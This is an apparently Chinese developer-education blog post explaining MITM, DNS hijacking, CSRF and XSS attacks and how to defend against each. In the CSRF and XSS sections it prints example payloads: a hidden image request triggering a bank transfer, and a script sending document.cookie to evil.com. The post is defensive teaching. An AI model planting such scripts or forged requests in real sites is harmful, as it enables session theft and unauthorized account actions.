你写的网站安全吗?这四个攻击方式正在悄悄盯上你

面试导航 是一个专注于前、后端技术学习和面试准备的 免费 学习平台,提供系统化的技术栈学习,深入讲解每个知识点的核心原理,帮助开发者构建全面的技术体系。平台还收录了大量真实的校招与社招面经,帮助你快速掌握面试技巧,提升求职竞争力。如果你想加入我们的交流群,欢迎通过微信联系:yunmz777

🔐 Web 安全必知四大攻击:MITM、DNS 劫持、CSRF 和 XSS 通俗详解

在互联网开发中,无论你是前端、后端还是运维工程师,Web 安全都是绕不开的话题。今天我们来通俗地了解四种最常见、最致命的网络攻击方式:中间人攻击(MITM)、DNS 劫持、跨站请求伪造(CSRF)、跨站脚本攻击(XSS)。

🕵️‍♂️ 1. 中间人攻击(MITM:Man-In-The-Middle)

📌 什么是中间人攻击?

简单来说,中间人攻击就是有人"偷偷坐在你和服务器之间",偷听你们的对话,甚至冒充你们俩互相交流。你以为你在和银行网站交流,其实你把账号密码都告诉了攻击者。

🎯 举个例子:

你在机场连上了免费 Wi-Fi,输入了 https://bank.com 登录界面,但这个 Wi-Fi 被黑客控制了。他在你和银行之间建立了"假连接",把你输的账号密码全部截获下来,甚至还能伪造银行的回复。

🔍 攻击过程简化为三步:

  1. 你访问一个网站,攻击者截获了请求
  2. 他把请求转发给真正的服务器
  3. 再把服务器的响应转回来,中间数据全被他看到或修改

🛡️ 如何防范?

方法 解释
使用 HTTPS 所有通信加密,别人看不到内容
浏览器 HSTS 强制网站始终用 HTTPS
谨慎使用公共 Wi-Fi 尤其不要在其中登录重要账号
检查证书 如果浏览器提示"连接不安全",千万别继续访问

🌐 2. DNS 劫持(DNS Hijacking)

📌 什么是 DNS?

DNS(Domain Name System)就像互联网的电话簿:你输入 google.com,它会告诉你这个域名对应哪个 IP 地址,浏览器再根据 IP 去找服务器。

😈 那什么是 DNS 劫持?

攻击者篡改了这份"电话簿",让你以为你访问的是官网,其实你访问的是钓鱼网站。页面长得一模一样,但你一输入密码就完了。

🎯 举个例子:

你打开 taobao.com,DNS 本该告诉你"去 123.123.123.123(淘宝服务器)",但被劫持后告诉你"去 111.111.111.111(攻击者服务器)",你打开的是假淘宝,输入的信息全被窃取。

📌 常见的劫持方式:

  • 修改本地 hosts 文件
  • 家庭路由器被篡改 DNS 设置
  • 攻击公共 DNS 缓存服务器

🛡️ 如何防范?

方法 描述
使用可信 DNS 如 Google(8.8.8.8)或 Cloudflare(1.1.1.1)
启用 DoH / DoT DNS over HTTPS/TLS,DNS 查询也加密
使用 HTTPS 即使 DNS 被劫持,也难篡改实际数据
路由器设置密码 防止他人远程更改设置

🎯 3. CSRF(跨站请求伪造)

📌 它是什么?

CSRF 是攻击者借你的"身份"发请求。你自己没做什么,但服务器以为你发了请求,结果就中了招。

🎯 举个简单例子:

你登录了银行网站(银行已经给你发了登录 cookie),然后你去看一个"神秘网站"的视频。这个网站偷偷发了一个请求:

html 复制代码
<img src="https://bank.com/transfer?to=attacker&amount=1000" />

你根本不知道有这个请求,但浏览器会自动带上你的 cookie,银行以为你主动转账。

🧨 为什么危险?

  • 所有自动带 cookie 的请求都可能成为攻击工具
  • 不需要你手动操作,只要你打开恶意网站就中招

🛡️ 如何防范?

方法 说明
CSRF Token 每次请求时加一个后端生成的 token,攻击者拿不到
SameSite Cookie 限制 cookie 的跨站使用
验证来源 后端校验请求的 Referer 或 Origin
重要操作用 POST 避免 GET 修改重要数据

💥 4. XSS(跨站脚本攻击)

📌 它是什么?

XSS 是攻击者往网页里插入 JavaScript 脚本,比如你看一条评论,它偷偷执行了一段 JS,然后把你 cookie 传给黑客。

🎯 例子场景:

你在论坛里看到一条评论:"欢迎访问我的网站",点击进去网页瞬间弹窗。这其实是:

html 复制代码
<script>
  fetch("http://evil.com?cookie=" + document.cookie);
</script>

攻击者就能窃取你的登录状态、token 等。

📌 XSS 三种类型:

类型 特点 举例
存储型 服务端存储,反复攻击 评论系统
反射型 URL 中传参 搜索页、错误页
DOM 型 前端拼接 HTML 出现漏洞 innerHTMLdocument.write()

🛡️ 如何防范?

方法 说明
所有用户输入都要过滤 不允许 <script>onerror 等危险字符
输出前转义 用 HTML 转义将代码当文本输出
设置 CSP 策略 限制 JS 加载来源
前端开发规范 避免使用 dangerouslySetInnerHTMLv-html 等危险 API

🧠 总结一张图,记住它们的区别

类型 攻击方式 危害 防御策略
MITM 拦截通信 数据泄露 HTTPS + HSTS
DNS 劫持 篡改 DNS 指向 访问钓鱼站 安全 DNS + DoH
CSRF 冒充用户发请求 账户被操作 Token + SameSite
XSS 插入 JS 脚本 窃取信息 输入过滤 + CSP

📢 最后一句话总结:

XSS 窃数据、CSRF 窃身份、MITM 监听内容、DNS 劫持方向。

相关推荐
Victor3562 分钟前
MySQL(119)如何加密存储敏感数据?
后端
zhanshuo3 分钟前
不依赖框架,如何用 JS 实现一个完整的前端路由系统
前端·javascript·html
火柴盒zhang4 分钟前
websheet在线电子表格(spreadsheet)在集团型企业财务报表中的应用
前端·html·报表·合并·spreadsheet·websheet·集团财务
khalil6 分钟前
基于 Vue3实现一款简历生成工具
前端·vue.js
拾光拾趣录13 分钟前
浏览器对队头阻塞问题的深度优化策略
前端·浏览器
用户39661446871913 分钟前
TypeScript 系统入门到项目实战-慕课网
后端
用户81221993672213 分钟前
[已完结]后端开发必备高阶技能--自研企业级网关组件(Netty+Nacos+Disruptor)
前端
万少17 分钟前
2025中了 聊一聊程序员为什么都要做自己的产品
前端·harmonyos
guojl18 分钟前
Dubbo SPI原理与设计精要
后端